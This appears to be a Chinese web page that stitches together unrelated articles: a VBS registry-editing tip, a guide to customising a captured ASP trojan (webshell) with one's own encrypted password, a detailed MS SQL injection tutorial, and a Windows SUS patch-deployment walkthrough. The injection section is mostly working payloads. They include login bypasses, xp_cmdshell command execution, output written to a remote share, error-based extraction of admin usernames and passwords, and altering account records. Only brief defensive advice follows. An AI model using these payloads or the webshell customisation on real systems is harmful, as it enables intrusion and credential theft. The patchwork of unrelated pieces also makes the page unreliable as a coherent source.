WScript.echo xyzcsm &”,你好!” ‘要输出的语句(假如显示为我爱你之内,然后打上女/男朋友的名字,不也是一个惊喜么?)

‘后面就是注释语句 在执行脚本的时候是不会显示的 之是能看得明白点。

当然我们多用到的可能是windows脚本读写注册表(反正我比较常用吧)
脚本主要是通过WSH的WshShell对象来读写注册表的。
比如我们注册表被IE恶意代码锁了怎么办 用VBS也可以
Dim xzzcsm
Set xyzcsm = WScript.CreateObject(“WScript.Shell”)
xyzcsm.Popup “为你解开注册表”
xyzcsm.RegWrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”,0,”REG_DWORD”

加如改为1就是锁住注册表了。
在HTML中加如VBS
SCRIPT 元素用于将 VBScript 代码添加到 HTML 页面中。
  <SCRIPT> 标记
    VBScript 代码写在成对的 <SCRIPT> 标记之间。
微软有VBScript语言参考和WSH基础 大家也可以看看
现在防火墙将对创建了WScript.shell对象的脚本 进行阻拦。
网上有不少的VBS源代码有兴趣的朋友 可以多看看
PS:不要用VBS写病毒哦

有写地方可能写的模糊 请大家指出 我吃饭了 小M不加分 不许看~呵呵。

文章作者:枫三少
                               
  这段时间一直在家养病,人快疯了!回黑基随便逛逛。呵呵,发现一篇文章是ASP木马代码的。
看了看,突然想写点什么。也许是上面写的不完整吧。

第一步,修改密码:别人的马跟自己的区别第一个就是密码。
先把修改密码的地方找出来。代码如下:  

if Epass(trim(request.form(“password”)))=”qtjckgas3i” then
response.cookies(“password”)=”7758521″
response.redirect rseb & “?q=list.asp”
else %>

重点在(trim(request.form(“password”)))=”qtjckgas3i”有些人以为这就是前一个人的密码。
呵呵,生成一个ASP上传一试。怎样?不行吧。呵呵。密码是加密了的。

第二步,按自己的意愿美化网页。
有人喜欢白色,有人喜欢黑色。象我,我就喜欢网页里有音乐。所以把HTML代码嵌入ASP里。注意如果ASP学得不是很好的
建议最好放在最顶端这样对于整个程序的思路都很清晰,而且不会破坏ASP内部语法。代码可以为:

<bgsound src=”音乐的地址” loop=”播放的次数,-1为无限循环”>

颜色的修改。
如:COLOR: #000000; Color后面的参数就是颜色对应的参数。如果对参数不是很了解的,可以采用英语:Color:black;前面不加
“#”
当然了,美化可以根据自己的习惯来加,也可以加些特效脚本。不过我一般都只加音乐,多了就太花翘了,呵呵。

第三步,如何将原代码密码修改。
这步应该算第一步的补充吧,之所以放在后面单独说,因为他这里牵涉到一定的技术,也是本篇的精髓。”qtjckgas3i”这是被
加密过了的。是利用一个工具直接生成密码的。什么呢?呵呵,是段ASP代码。这里我给出源码希望大家能够学习一下。

<%
pass=”yourpsw”
temppass=StrReverse(left(pass&”zxcvbnm,./”,10))
templen=len(pass)
mmpassword=”"
for j=1 to 10
mmpassword=mmpassword+chr(asc(mid(temppass,j,1))-templen+int(j*1.1))
next
Epass=replace(mmpassword,”‘”,”B”)
%>
<%=Epass%>

将上面的ASP代码COPY到记事本里,然后另存为asp的,传到ASP空间上。打开,呵呵,看到了什么?乱码?没错。这是利用ASP代码
直接导成WIN碎片格式的,假定我们想设置的密码是”hacker”就把他跟pass=”yourpsw”里的”yourpsw”替换,然后生成ASP上传下到
空间,打开,这时候现实的就是我们加密后的密码:q_uxqeledm 这时候把原木马的PSW-”qtjckgas3i”给替换成我们加密后的密码
这样一个个性的ASP木马就出来了。登陆ASP木马时使用没有加密的密码登陆!

大家可以看看这是我简单修改后的ASP木马.

PS:很多人问我这个ASP木马是怎么加密的,因为当时X档案拿去了,所以不能说,现在出刊了,就把它拿出来,希望还赶得上。:)

来源-::利客联盟::

首先你需要找到允许提交数据的页面,如:登陆页面、搜索页面、反馈页面、等等。有的时候,某些HTML
页面会通过POST命令将所需要的参数传递给其他的ASP页面。所以,有的时候你不会在URL路径中看到相关
的参数。尽管如此,你仍可以通过查看HTML的源代码中的”FORM”标签来辨别是否有参数传递,相关的代码
如下:
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>
在<FORM>与</FORM>的标签对间的每一个参数传递都有可能可以被利用(利用在攻击的情况下)着SQL注入。

2.1当你找不到有输入行为的页面时应该怎么办呢?
你可以找一些相关ASP、JSP、CGI或PHP这类型的页面。尝试找一些带有某些参数的特殊URL,如:
http://duck/index.asp?id=10

3.0你应该如何测试这些缺陷是否存在呢?
首先先加入某些特殊的字符标记,输入如:
hi’ or 1=1–
寻找一些登陆页面,在其登陆ID与密码输入处,或URL中输入:
- Login: hi’ or 1=1–
- Pass: hi’ or 1=1–
- http://duck/index.asp?id=hi‘ or 1=1–
如果想以‘隐藏’的方式进行此类测试,你可以把该HTML网页从网站上下载至本地硬盘,修改其隐藏部分
的值,如:
<FORM action=http://duck/Search/search.asp met

hod=post>
<input type=hidden name=A value=”hi’ or 1=1–”>
</FORM>
如果阁下是幸运的话估计现在已经可以不需要帐号与密码而‘成功登陆’了。

3.1为什么使用的是’ or 1=1–呢?
让我们来看看其他例子中使用’or 1=1–的重要性吧。有别于正常的登陆方式,使用这样的登陆方式可能
可以得到正常登陆中不能得到的某些特殊信息。用一个链接中得到的ASP页来打比方:
http://duck/index.asp?category=food
在上面这条URL中,’category’是一个变量名,而’food’是赋予该变量的值。为了做到这些(链接成功),
这个ASP必须包含以下相关的代码(下面也是我们为了演示这个实验所写的代码):
v_cat = request(“category”)
sqlstr=”SELECT * FROM product WHERE PCategory=’” & v_cat & “‘”
set rs=conn.execute(sqlstr)
正如我们所看到的,变量值将会预先处理然后赋值于’v_cat’,也就是说该SQL语句将会变为:
SELECT * FROM product WHERE PCategory=’food’
这个请求将会返回通过WHERE条件比较后得到的结果,在这个例子中也就是’food’了。现在设想一下如果
我们把该URL改成这样的话:
http://duck/index.asp?category=food‘ or 1=1–
现在我们的变量v_cat的值就等同于”food’ or 1=1–”了,现在如果我们要重新代入那条SQL请求的话,
那条SQL请求将会是:
SELECT * FROM product WHERE PCategory=’food’ or 1=1–’
现在这个请求将会从product表中选取每一条信息而并不会去理会PCategory是否等于’food’。至于结尾
部分的那两条’–’(破折号)则用于‘告诉’MS SQL SERVER忽略结尾最后的那个’(单引号)。有的时候也
可以使用’#'(井号)来代替’–’(双破折号)在这里的用法。
无论如何,如果对方不是一台SQL服务器(这里指的是MS SQL SERVER),或者你不能使用简单的方法去忽
略最后的那个单引号的话,你可以尝试:
‘ or ‘a’='a
这样的话整个SQL请求将会变为:
SELECT * FROM product WHERE PCategory=’food’ or ‘a’='a’
它也会返回相同的结果。
根据实际情况,SQL注入请求是可以有多种动态变化的可能性的:
‘ or 1=1–
” or 1=1–
or 1=1–
‘ or ‘a’='a
” or “a”=”a
‘) or (‘a’='a

4.0如何在SQL注入请求中加入即时执行命令?
能够进行SQL注入的服务器通常都是一些疏于做系统性配置检查的机器,此时我们可以尝试使用SQL的命
令执行请求。默认的MS SQL服务器是运行在SYSTEM用户级别下的,这等同于系统管理员的执行与访问权
限。我们可以使用MS SQL SERVER的扩展储存过程(如master..xp_cmdshell等)来执行远程系统的某些命
令:
‘; exec master..xp_cmdshell ‘ping 10.10.1.2′–
若失败可以尝试一下使用”(双引号)代替’(单引号)。
上面例子中的第二个冒号代表一句SQL请求的结束(也代表了它后面紧跟着一条新SQL命令)。若要检验上
面这条

PING命令是否成功,你可以在10.10.1.2这台机器上监听ICMP请求包,并确认它是否来自那台SQL
服务器就可以了:
#tcpdump icmp
如果你不能从那台SQL服务器中得到PING请求的话,并在SQL请求的返回值中得到错误信息的话,有可能
是因为该SQL服务器的管理员限制了WEB用户访问这些储存过程了。

5.0如何可以获取到我发的SQL请求的相关返回信息呢?
我们可以使用sp_makewebtask处理过程的相关请求写入URL:
‘; EXEC master..sp_makewebtask “\\10.10.1.3\share\output.html”, “SELECT * FROM INFORMATION
_SCHEMA.TABLES”
但先决条件是目标主机的文件夹“share”属性必须设置为“Everyone”。

6.0如何可以从数据库返回的ODBC错误信息得到某些重要的数据呢?
我们可以通过发送精心构造的SQL请求迫使MS SQL SERVER从返回的信息中透露出我们想得到的信息(如表
名、列名等)。比方有这么一个URL:
http://duck/index.asp?id=10
在上面的URL中我们可以尝试使用UNION子句的方式在整数’10′之后加入其他请求字符串进去的,如:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–
上例中的系统表INFORMATION_SCHEMA.TABLES包括了这台服务器中所有表的信息。至于TABLE_NAME区域就
包括了每一个表的名称。我们之所以要选择这样写是因为我们知道它是一定存在的。换言之我们的SQL询
问请求就是:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
服务器接到请求数据后必将返回数据库的第一个表名。当我们使用UNION子句将请求字符串加入整数10之
后时,MS SQL SERVER会尝试转换该字符串为整数值。既然我们不能把字符串(nvarchar)转为整数型(int
)时,系统就会产生错误。服务器会显示如下错误信息:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘
table1′ to a column of data type int.
/index.asp, line 5
非常好,这条错误信息告诉了我们转换出现错误的所有相关信息(包括我们想知道的表名)。在这个实例
中,我们知道了第一个表名是“table1”。若要得到下一个表名,我们可以发送这样的请求:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WH
ERE TABLE_NAME NOT IN (‘table1′)–
我们也可以通过LIKE来找寻相关的特殊字:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM IN

FORMATION_SCHEMA.TABLES WH
ERE TABLE_NAME LIKE ‘%25login%25′–
输出得到:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘
admin_login’ to a column of data type int.
/index.asp, line 5

6.1如何找出表中的列名?
我们可以利用另一个比较重要的表INFORMATION_SCHEMA.COLUMNS来罗列出一个表的所有列名:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME=’admin_login’–
输出显示为:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘
login_id’ to a column of data type int.
/index.asp, line 5
现在已经得到第一个列的名称了,我们还可以用NOT IN ()得到下一个列名:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (‘login_id’)–
输出得到:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘
login_name’ to a column of data type int.
/index.asp, line 5
若继续重复这样的操作,我们将可以获得余下所有的列名,如”password”、”details”。当我们使用了下
面的请求后就可以得到(除了’login_id’,'login_name’,'password’,details’之外的列名):
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (‘login_id’,'login_name’,'password’
,details’)–
输出后得到:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in
the select lis
t if the statement contains a UNION operator.
/index.asp, line 5

6.2如何找到我们需要的数据?
现在我们需要鉴别出一些比较重要的表与列,我们可以用相同的技巧询问数据库从而得到相关的信息。
现在让我们问问”admin_login”表的第一个用户名是什么吧:
http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login–
输出:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘
neo’ to a column of data type int.
/index.asp, line 5
知道了一个管理员帐号是”neo”。最后,问问这个管理员帐号的密码是什么吧:
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’
neo’–
输出:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘
m4trix’ to a column of data type int.
/index.asp, line 5
现在我们可以用”neo”与他的密码(“m4trix”)来登陆系统了。

6.3如何获得数字串值?
在这里技术上表达的一种局限性。若要将数字(0-9之间的数字)转换为正常的文本数据的话,我们将无法
得到我们所需要的错误提示信息。举个例子,我们现在要尝试得到帐号为”trinity”的密码,而它所对应
的密码为”31173″:
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’
trinity’–
这样我们大概只能得到“Page Not Found”这样的错误提示。这其中的主要问题在于,在与整数(这个例
子中为10)进行了合集(使用了UNION子句)以后这个密码”31173″将会被系统转换为数值。这样的话这个UN
ION字句调用就是‘合法’的了,SQL服务器将不会返回任何ODBC错误信息,因而我们是不可能得到这些
数字型数据的。
为了解决这个问题,我们可以为这些数据字符串加入一些字母表来确定转化过程是错误的。让我们试试
用下面的这条请求来代替原来的请求吧:
http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b’%20morpheus’) FROM
admin_login where login_name=’trinity’–
在这里我们只不过是加入了一个(+)加号与其它我们想加入的字符进去而已(在ASCII中’+'等于0×2b)。我
们加入了一个(%20)空格与

morpheus(随便一个字符串)进入实际的密码数据中。这样的话,即使我们得到
了数字串’31173′,它也会变成’31173 morpheus’。
在执行了convert()函数后,系统会尝试将’31173 morpheus’转换为整数型,SQL服务器一定会返回这样
的ODBC错误信息:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘
31173 morpheus’ to a column of data type int.
/index.asp, line 5
现在你可以知道’trinity’的密码是’31173′了吧。

7.0如何在数据库中更新/插入数据?
当成功地收集到表中所有的列后,我们就可以在表中UPDATE(升级/修改)原有的数据或者INSERT(加入)新
的数据。打个比方,我们要修改帐号”neo”的密码:
http://duck/index.asp?id=10; UPDATE ‘admin_login’ SET ‘password’ = ‘newpas5′ WHERE login_na
me=’neo’–
加入一条新的记录:
http://duck/index.asp?id=10; INSERT INTO ‘admin_login’ (‘login_id’, ‘login_name’, ‘password
‘, ‘details’) VALUES (666,’neo2′,’newpas5′,’NA’)–
现在我们就可以以帐号”neo2″、密码”newpas5″登陆系统了。

8.0如何避免被SQL注入攻击?
过滤一些特殊像单引号、双引号、斜杠、反斜杠、冒号、空字符等的字符,过滤的对象包括:
-用户的输入
-提交的URL请求中的参数部分
-从cookie中得到的数据
至于数字值,将其转换为整数型之前必须有SQL语句声明,或者用ISNUMERIC确定它为一个整型数。
修改“Startup and run SQL Server”的用户运行级别为低级别。
删除一系列你不需要的储存过程,如:
master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

2004年10月21日

旺才为了保证单位局域网的安全运行,防止病毒木马利用Windows系统漏洞进行攻击和传播,定期为客户机安装最新的补丁修复程序。但随着网络规模的不断扩大,客户机数目俱增,靠旺才一人之力无法完成全部客户机的补丁安装任务。虽然旺才已经告诉同事们如何登录微软“Windows Update”网站,或使用Windows Update服务安装最新的补丁程序,但大部分同事还是“门外汉”,经常碰到不能安装补丁的问题。这让旺才不胜其烦,因此请来大名鼎鼎的小强来解决这个问题。

    旺才单位局域网中有120台左右的机器,通过硬件路由器接入互联网,并且都是采用Windows2000或以上版本的操作系统,工作组运行环境。小强了解到此情况后,建议旺才使用Microsoft Software Update Services(简称SUS),在局域网中部署一台“SUS服务器”,为客户机提供补丁发放服务,这样用户就不再需要使用微软的“Windows Update”服务了,通过局域网中的SUS服务器,就能完成Windows补丁安装工作,并且安装过程是全自动的,不需要用户进行干预。如何部署SUS系统,旺才并不了解,下面小强就开始进行介绍。

    Software Update Services(SUS) 系统

    SUS Server(服务器端):
    软件大小:33009 KB
    软件类型:免费软件
    运行环境:Windows 2000 Server+ SP2及以上版本、Windows Server 2003

点击下载SUS Server>>>

    SUS Client(客户端):
    软件大小:998KB
    软件类型:免费软件
    运行环境:Windows 2000 +SP2及以上版本/XP/2003

点击下载SUS Client>>>

    提示:SUS分为服务器端和客户端,服务器端只推出英文版和日文版,能同时为15,000个用户提供升级服务;客户端则支持包括中文版在内的24种语言版本。SUS server能为 Windows 2000 +SP2及以上版本、 Windows XP 、Windows 2003系统提供升级服务,但不支持Windows 98和Windows  NT系统。此外SUS不提供除操作系统以外的其它微软产品的升级,如SQL Server、Exchange Server等。

  一、准备工作

    在安装、配置SUS Server之前,首先为它选择合适的硬件和软件平台。小强推荐的硬件配置为“700MHz主频以上的CPU,512MB以上内存,6GB以上的剩余硬盘空间”,SUS Server需要Windows 2000 Server+ SP2及以上版本、Windows Server 2003服务器操作系统支持,此外还要IIS 5/6服务器、IE 5.5浏览器以上版本的支持。

    SUS Client对硬件平台没特殊要求,但采用的操作系统必须是Windows 2000 +SP2及以上版本/XP/2003,不支持Windows 98和Windows  NT。

    提示:对于客户端为Windows 2000 +SP2、Windows XP系统,则需要安装SUS Client程序;而Windows 2000+ SP3、Windows XP +SP1(SP2) 及以上版本和Windows Server 2003,就不需要安装SUS Client,该程序已包含在系统中。

    二、SUS Server部署

    1、服务器端平台选择

    首先为SUS Server选择服务器平台,因为旺才管理的客户机数目并不太多,所以服务器的硬件配置不需要太高。小强选择局域网内的一台浪潮服务器,它的硬件配置为:P4 2.0G CPU,512MB ECC内存,40G SCSI硬盘,并且此服务器中安装了Windows Server 2003操作系统,所有分区都采用了NTFS文件系统。

    2、安装IIS服务

    Windows Server 2003默认是不安装IIS服务的,但SUS Server需要IIS的支持才能正常运行,因此要手工安装该服务

    小强在Win2003服务器中,点击“开始→设置→控制面板”选项,运行“添加或删除程序”,在弹出的窗口中切换到“添加/删除Windows组件”页。然后在“Windows组件向导”对话框中选中“应用程序服务器”选项,点击下方的“详细信息”按钮,在弹出的对话框中选中“Internet信息服务(IIS)”组件,点击“确定”按钮。最后在“组件向导”对话框中一路点击“下一步”,完成IIS组件的安装。

    提示:建议不要在SUS Server服务器中向用户提供IIS服务,IIS的运行最好只是为SUS Server提供服务。这是因为安装SUS Server时,同时会为系统安装IIS Lockdown Tool工具,它可能会导致其它用户不能正常访问IIS网站。

  3、安装、配置SUS Server
   
    (1).安装SUS Server

    完成了IIS的安装后,小强就开始安装配置SUS Server了。下载SUS Server英文版进行安装,过程非常简单,小强建议选择“典型”方式,接着一路“Next”后就完成安装,最后弹出SUS Server配置管理页面。

    提示:安装SUS Server和保存补丁文件的硬盘分区都必须是NTFS文件系统,否则就会出现错误提示,不能成功安装。

    (2).SUS Server参数配置
   
    小强使用的是典型安装方式,完成后SUS Server还不能提供补丁服务,需要进一步进行配置才行。
   
    小强在Win2003服务器中,进入到“控制面板->管理工具”,运行“Microsoft Software Update Services”工具。接着在登录对话框中输入管理员帐号和密码,点击“确定”后,就登录SUS服务器管理页面。

    提示:除了在本地管理配置SUS Server外,还可以对它进行远程配置,在远端客户机中运行IE浏览器,在地址栏中输入“http:// SUS Server的IP地址/SUSAdmin/”,回车后,输入管理员帐号和密码即可。

    小强在SUS Server管理页面左框点击“Other Options”下的“Set Options”链接,接着在右框中就能对SUS Server参数进行配置了。

        A、代理服务器配置

    在“Select a proxy server configuration”中对SUS Server的代理服务器参数进行设置,如果SUS Server是直接或通过路由器接入互联网,一定要选择“Automatically detect proxy server settings”项,如果是通过代理服务器的话,要选择“Use the following proxy server to access the Internet”项,并在输入框中填上代理的IP地址和端口号。

   B、指定服务器名
  
    接着小强在“Specify the name your clients use to locate this update server”栏中为SUS Server起一个好记的名称,如机器名“TJRAO”,这样客户机就可以通过机器名来访问SUS Server了。

    提示:如果客户机无法解析NetBIOS名字,这里就要使用DNS名或IP地址来代替机器名了。
   
    C、同步内容配置
       
    在“Select which server to synchronize content from”中设置补丁内容的来源,因为小强就部署这一台SUS Server服务器,必须与微软的补丁服务器同步,选择“Synchronize directly from the Microsoft Windows Update servers”项。

    提示:如果局域网中部署了多台SUS Server,都和微软补丁服务器同步未免浪费大量带宽和时间,只需要其中一台和微软补丁服务器同步,其它的SUS Server和本地的此台SUS Server同步即可。这时就要选中“Synchronize from a local Software Update Services server”项,在输入框中填入目标SUS Server的机器名或者IP地址。
   
   在“Select where you want to store updates”栏中设置保存补丁文件的方式,小强建议选择“Save the updates to a local folder”项,这样就可以只同步你需要语种的补丁,避免浪费,如小强只选择同步“Chinese Simplified(简体中文)”,其它参数使用默认值即可,最后点击“Apply”按钮。

选择同步“Chinese Simplified(简体中文)

(3).同步操作
   
    完成SUS Server参数配置后,就可以进行同步工作,下载用户需要的补丁文件。在管理页面左框点击“Synchronize server”项,接着点击右框的“Synchronize Now”按钮,开始同步工作。

选择“Synchronize Now”

    提示:由于受到网络带宽和补丁文件大小的限制,同步工作需要一个漫长的过程。小强建议选择自动同步,点击“Synchronization Schedule” 按钮,在配置对话框中选择“Synchronize using this schedule”项,设置好同步的日期和时间,建议在凌晨进行同步工作。

    (4).发布操作
   
    同步完成后,SUS Server默认并不立即为用户发布补丁文件,当旺才测试补丁没有问题后,才进行手工发布。在管理页面左框点击“Approve updates”按钮,右框显示下载的补丁文件。如果某些补丁测试正常,想进行发布,选中补丁文件前的复选框,点击“Approve”按钮按钮。

    然后同意最终用户许可协议后,完成这些补丁的发布工作。这样,小强就完成了SUS Server的配置。

    上一页      下一页       上一页      下一页  

   三、SUS Client配置
 
    以上完成了SUS Server的配置,现在小强还需要为客户机配置SUS Client,才能使用SUS Server提供的升级服务。由于旺才管理的局域网是工作组环境,所以小强就介绍针对工作组环境的SUS Client配置。

    1、是否安装SUS Client

    客户机是否要安装SUS Client程序,取决于它采用了哪种操作系统和安装的修复补丁,对于Windows 2000+ SP2和Windows XP的用户,是必须安装SUS Client的。而Windows 2000+ SP3、Windows XP +SP1及其以上版本 和Windows Server 2003的用户则不需要安装,因为系统中已经内置了SUS Client。

    2、合理配置SUS Client
   
    A、添加模板
           
    完成SUS Client安装后,还需要对其进行配置。小强在客户机上,点击“开始→运行”,输入“gpedit.msc”后回车,弹出组策略编辑器,依次展开“计算机配置→管理模板”,右键点击“管理模板”后,选择“添加/删除模版”,在“添加/删除模版”对话框中点击“添加”。

    找到“x:\windows\inf”目录下的“wuau.adm”(x表示windows的系统盘,默认为C),双击该文件,完成模板的添加。
 B、配置组策略
  
    接着小强依次展开“计算机配置→管理模板→Windows组件→Windows Update”,在右栏中双击“配置自动更新”策略,在属性对话框中配置更新时间和处理方法,选择“已启用”选项,在“配置自动更新”下拉列框中选择“4-自动下载并计划安装”,接着在下面的“计划安装日期”和“计划安装时间”中设置合适的日期和时间,最后点击“确定”。

    打开“指定企业内部互联网Windows Update服务位置”策略,选择“已启用”,接着在输入框中指定SUS服务器的位置,可以使用SUS Server机器名或IP地址,最后点击“确定”。

    接下来小强按照上面的方法为局域网中每台客户机配置SUS Client。配置完成后,所有的客户机就可以按照指定的设置,自动连接到SUS Server进行更新,并且所有的更新操作均在后台自动进行的,不需要人为干预。

    提示:在工作组环境中,小强要手工为每台客户机进行SUS Client配置,虽然麻烦些,但对于小型局域网来说还是可以接受的。如果你网络规模较大,建议采用域环境,这样就只需要在域控制器中进行域组策略配置即可,免去了配置客户机的麻烦。

    通过以上几步,小强就完成了SUS系统在局域网中的部署,以后升级就变得非常方便了,即使客户机被旺才限制不能上网,只要SUS Server正常连接到互联网中,升级操作一样不受影响,从此旺才再也不用为Windows升级发愁了。